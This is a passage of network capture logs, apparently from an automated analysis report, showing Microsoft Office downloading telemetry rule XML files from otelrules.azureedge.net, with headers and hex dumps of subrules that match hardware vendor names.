65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:10 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:10 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:10 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: e8c785f0-901e-0048-4ed4-43b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165610Z-174f7845968xlwnmhC1EWR0sv800000014g000000000me4f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:10 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:10 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:10 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:10 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: e1e1876a-701e-0001-22c7-43b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165610Z-174f784596886s2bhC1EWR743w00000014rg00000000fbkb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:10 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:12 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:12 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:12 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 12c713eb-c01e-0034-6a92-432af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165612Z-174f7845968pf68xhC1EWRr4h800000014w000000000rwhn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:12 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:12 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:12 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:12 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 7b1224ad-601e-0097-014f-44f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165612Z-174f784596886s2bhC1EWR743w00000014rg00000000fbq2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:12 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:12 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:12 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:12 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 1383167b-401e-008c-1f3c-4486c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165612Z-174f784596886s2bhC1EWR743w00000014u00000000062na x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:12 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:12 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:12 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:12 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 79414491-c01e-0014-1360-43a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165612Z-174f7845968px8v7hC1EWR08ng0000001510000000005mvt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:12 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:12 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:12 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:12 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: ff98645e-b01e-0001-1091-3f46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165612Z-174f78459688l8rvhC1EWRtzr00000000h5g00000000x597 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:12 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:14 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:14 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: fb105ca9-d01e-002b-5b00-4425fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165614Z-174f7845968xlwnmhC1EWR0sv800000014dg00000000vk6q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:15 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:14 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:14 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: e1f54f45-601e-0097-18a1-42f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165614Z-174f7845968qj8jrhC1EWRh41s00000014k000000000snve x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:15 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:14 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:14 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 5e69cd2e-d01e-002b-6bff-4125fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165614Z-174f7845968px8v7hC1EWR08ng00000014zg00000000by0x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:15 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:14 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:14 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 4b7a7cb4-201e-000c-0405-4179c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165614Z-174f7845968psccphC1EWRuz9s00000015100000000056ac x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:15 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:16 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:17 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:17 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: e044a7be-f01e-003c-0c76-438cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165617Z-174f7845968swgbqhC1EWRmnb400000014yg0000000036ft x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
